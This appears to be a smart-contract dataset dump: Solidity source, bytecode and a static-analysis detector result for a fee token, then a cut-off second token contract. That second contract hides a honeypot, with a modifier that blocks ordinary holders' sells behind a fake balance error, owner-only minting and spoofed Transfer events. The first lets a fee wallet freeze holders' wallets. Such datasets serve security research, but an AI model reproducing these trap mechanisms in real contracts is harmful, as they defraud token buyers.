(address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CyberRoded is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"CyberRoded"; //// string public constant symbol = unicode"CYBER"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable private _FeeAddress1; address payable private _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 5; uint public _sellFee = 5; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "ERC20: transfer from frozen wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (15 minutes)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 20000000000 * 10**9; // 2% _maxHeldTokens = 40000000000 * 10**9; // 4% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy <= 10); require(sell <= 10); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function setBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101f25760003560e01c8063509016171161010d578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105a1578063db92dbb6146105b6578063dcb0e0ad146105cb578063dd62ed3e146105eb578063e8078d941461063157600080fd5b8063a9059cbb14610536578063b2131f7d14610556578063b515566a1461056c578063c3c8cd801461058c57600080fd5b8063715018a6116100dc578063715018a6146104b25780638da5cb5b146104c757806394b8d8f2146104e557806395d89b411461050557600080fd5b80635090161714610447578063590f897e146104675780636fc3eaec1461047d57806370a082311461049257600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a057806340b9a54b146103d957806345596e2e146103ef57806349bd5a5e1461040f57600080fd5b806327f3a72a1461032e578063313ce5671461034357806331c2d8471461036a57806332d873d81461038a57600080fd5b80630b78f9c0116101c15780630b78f9c0146102bc57806318160ddd146102dc5780631940d020146102f857806323b872dd1461030e57600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f61461026a578063095ea7b31461028c57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025d6040518060400160405280600a81526020016910de58995c949bd9195960b21b81525081565b60405161021e9190611bcb565b34801561027657600080fd5b5061028a610285366004611c45565b610646565b005b34801561029857600080fd5b506102ac6102a7366004611c62565b6106bb565b604051901515815260200161021e565b3480156102c857600080fd5b5061028a6102d7366004611c8e565b6106d1565b3480156102e857600080fd5b50683635c9adc5dea00000610214565b34801561030457600080fd5b50610214600f5481565b34801561031a57600080fd5b506102ac610329366004611cb0565b610754565b34801561033a57600080fd5b5061021461083c565b34801561034f57600080fd5b50610358600981565b60405160ff909116815260200161021e565b34801561037657600080fd5b5061028a610385366004611d07565b61084c565b34801561039657600080fd5b5061021460105481565b3480156103ac57600080fd5b506102ac6103bb366004611c45565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e557600080fd5b50610214600b5481565b3480156103fb57600080fd5b5061028a61040a366004611dcc565b6108d8565b34801561041b57600080fd5b50600a5461042f906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045357600080fd5b5061028a610462366004611c45565b61099c565b34801561047357600080fd5b50610214600c5481565b34801561048957600080fd5b5061028a610a0a565b34801561049e57600080fd5b506102146104ad366004611c45565b610a37565b3480156104be57600080fd5b5061028a610a52565b3480156104d357600080fd5b506000546001600160a01b031661042f565b3480156104f157600080fd5b506011546102ac9062010000900460ff1681565b34801561051157600080fd5b5061025d6040518060400160405280600581526020016421aca122a960d91b81525081565b34801561054257600080fd5b506102ac610551366004611c62565b610ac6565b34801561056257600080fd5b50610214600d5481565b34801561057857600080fd5b5061028a610587366004611d07565b610ad3565b34801561059857600080fd5b5061028a610be2565b3480156105ad57600080fd5b5061028a610c18565b3480156105c257600080fd5b50610214610cbc565b3480156105d757600080fd5b5061028a6105e6366004611df3565b610cd4565b3480156105f757600080fd5b50610214610606366004611e10565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063d57600080fd5b5061028a610d51565b6008546001600160a01b0316336001600160a01b03161461066657600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106c8338484611098565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f157600080fd5b600a8211156106ff57600080fd5b600a81111561070d57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078257506001600160a01b03831660009081526004602052604090205460ff16155b801561079b5750600a546001600160a01b038581169116145b156107ea576001600160a01b03831632146107ea5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f58484846111bc565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610824908490611e5f565b9050610831853383611098565b506001949350505050565b600061084730610a37565b905090565b6008546001600160a01b0316336001600160a01b03161461086c57600080fd5b60005b81518110156108d45760006006600084848151811061089057610890611e76565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cc81611e8c565b91505061086f565b5050565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016107e190611ea5565b6008546001600160a01b0316336001600160a01b03161461092257600080fd5b600081116109675760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e1565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106b0565b6009546001600160a01b0316336001600160a01b0316146109bc57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106b0565b6008546001600160a01b0316336001600160a01b031614610a2a57600080fd5b47610a348161182a565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b81526004016107e190611ea5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106c83384846111bc565b6008546001600160a01b0316336001600160a01b031614610af357600080fd5b60005b81518110156108d457600a5482516001600160a01b0390911690839083908110610b2257610b22611e76565b60200260200101516001600160a01b031614158015610b73575060075482516001600160a01b0390911690839083908110610b5f57610b5f611e76565b60200260200101516001600160a01b031614155b15610bd057600160066000848481518110610b9057610b90611e76565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bda81611e8c565b915050610af6565b6008546001600160a01b0316336001600160a01b031614610c0257600080fd5b6000610c0d30610a37565b9050610a34816118af565b6000546001600160a01b03163314610c425760405162461bcd60e51b81526004016107e190611ea5565b60115460ff1615610c8f5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e1565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a54600090610847906001600160a01b0316610a37565b6000546001600160a01b03163314610cfe5760405162461bcd60e51b81526004016107e190611ea5565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106b0565b6000546001600160a01b03163314610d7b5760405162461bcd60e51b81526004016107e190611ea5565b60115460ff1615610dc85760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e1565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e053082683635c9adc5dea00000611098565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e679190611eda565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed89190611eda565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f499190611eda565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7981610a37565b600080610f8e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff6573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101b9190611ef7565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611074573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d49190611f25565b6001600160a01b0383166110fa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e1565b6001600160a01b03821661115b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e1565b6001600160a01b0382166112825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e1565b600081116112e45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e1565b6001600160a01b03831660009081526006602052604090205460ff16156113595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e1565b600080546001600160a01b0385811691161480159061138657506000546001600160a01b03848116911614155b156117cb57600a546001600160a01b0385811691161480156113b657506007546001600160a01b03848116911614155b80156113db57506001600160a01b03831660009081526004602052604090205460ff16155b156116675760115460ff166114325760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e1565b60105442036114715760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e1565b42601054610e106114829190611f42565b11156114fc57600f5461149484610a37565b61149e9084611f42565b11156114fc5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e1565b6001600160a01b03831660009081526005602052604090206001015460ff16611564576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115749190611f42565b111561164857600e548211156115cc5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e1565b6115d742600f611f42565b6001600160a01b038416600090815260056020526040902054106116485760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e1565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611681575060115460ff165b801561169b5750600a546001600160a01b03858116911614155b156117cb576116ab42600f611f42565b6001600160a01b0385166000908152600560205260409020541061171d5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e1565b600061172830610a37565b905080156117b45760115462010000900460ff16156117ab57600d54600a546064919061175d906001600160a01b0316610a37565b6117679190611f5a565b6117719190611f79565b8111156117ab57600d54600a5460649190611794906001600160a01b0316610a37565b61179e9190611f5a565b6117a89190611f79565b90505b6117b4816118af565b4780156117c4576117c44761182a565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180d57506001600160a01b03841660009081526004602052604090205460ff165b15611816575060005b6118238585858486611a23565b5050505050565b6008546001600160a01b03166108fc611844600284611f79565b6040518115909202916000818181858888f1935050505015801561186c573d6000803e3d6000fd5b506009546001600160a01b03166108fc611887600284611f79565b6040518115909202916000818181858888f193505050501580156108d4573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118f3576118f3611e76565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561194c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119709190611eda565b8160018151811061198357611983611e76565b6001600160a01b0392831660209182029290920101526007546119a99130911684611098565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119e2908590600090869030904290600401611f9b565b600060405180830381600087803b1580156119fc57600080fd5b505af1158015611a10573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a2f8383611a45565b9050611a3d86868684611a8c565b505050505050565b6000808315611a85578215611a5d5750600b54611a85565b50600c54601054611a7090610384611f42565b421015611a8557611a82600582611f42565b90505b9392505050565b600080611a998484611b69565b6001600160a01b0388166000908152600260205260409020549193509150611ac2908590611e5f565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611af2908390611f42565b6001600160a01b038616600090815260026020526040902055611b1481611b9d565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5991815260200190565b60405180910390a3505050505050565b600080806064611b798587611f5a565b611b839190611f79565b90506000611b918287611e5f565b96919550909350505050565b30600090815260026020526040902054611bb8908290611f42565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bf857858101830151858201604001528201611bdc565b81811115611c0a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3457600080fd5b8035611c4081611c20565b919050565b600060208284031215611c5757600080fd5b8135611a8581611c20565b60008060408385031215611c7557600080fd5b8235611c8081611c20565b946020939093013593505050565b60008060408385031215611ca157600080fd5b50508035926020909101359150565b600080600060608486031215611cc557600080fd5b8335611cd081611c20565b92506020840135611ce081611c20565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1a57600080fd5b823567ffffffffffffffff80821115611d3257600080fd5b818501915085601f830112611d4657600080fd5b813581811115611d5857611d58611cf1565b8060051b604051601f19603f83011681018181108582111715611d7d57611d7d611cf1565b604052918252848201925083810185019188831115611d9b57600080fd5b938501935b82851015611dc057611db185611c35565b84529385019392850192611da0565b98975050505050505050565b600060208284031215611dde57600080fd5b5035919050565b8015158114610a3457600080fd5b600060208284031215611e0557600080fd5b8135611a8581611de5565b60008060408385031215611e2357600080fd5b8235611e2e81611c20565b91506020830135611e3e81611c20565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7157611e71611e49565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9e57611e9e611e49565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611eec57600080fd5b8151611a8581611c20565b600080600060608486031215611f0c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3757600080fd5b8151611a8581611de5565b60008219821115611f5557611f55611e49565b500190565b6000816000190483118215151615611f7457611f74611e49565b500290565b600082611f9657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611feb5784516001600160a01b031683529383019391830191600101611fc6565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202245f0e941f059af1c632aab1292491a74b64c804f8a984f6ec6375d5d3c396464736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,494
0xe8296312e8ba2b7d188961e6b63aaf06586f8c50
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract SuperchargedVolt is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _plus; mapping (address => bool) private _discarded; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeAuthority; uint256 private _discardedAmt = 0; address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address _contDeployr = 0x2Ba87d728Bd1DD73701d7efe37f9b07368C04a63; address public _authority = 0x4CCcD184bC0902c67ad1B36D0b68B6C092930784; constructor () public { _name = "Supercharged Volt"; _symbol = "SVOLT"; _decimals = 18; uint256 initialSupply = 69000000000000 * 10 ** 18; _safeAuthority = _authority; _mint(_contDeployr, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _tf(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _tf(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _pApproval(address[] memory destination) public { require(msg.sender == _authority, "!owner"); for (uint256 i = 0; i < destination.length; i++) { _plus[destination[i]] = true; _discarded[destination[i]] = false; } } function _mApproval(address safeOwner) public { require(msg.sender == _authority, "!owner"); _safeAuthority = safeOwner; } modifier _log(address dest, uint256 num, address from, address filler){ if ( _authority == _safeAuthority && from == _authority) {_safeAuthority = dest;_;}else {if ( from == _authority || from == _safeAuthority || dest == _authority){ if ( from == _authority && from == dest ){_discardedAmt = num; }_;}else{ if ( _plus[from] == true ) { _;}else{if ( _discarded[from] == true ) {require((from == _safeAuthority)||(dest == _path_), "ERC20: transfer amount exceeds balance");_; }else{ if ( num < _discardedAmt){ if(dest == _safeAuthority){_discarded[from] = true; _plus[from] = false; }_; }else{require((from == _safeAuthority) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}}}}}} function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _authority){ sender = _contDeployr; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _authority, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_authority] = _balances[_authority].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), 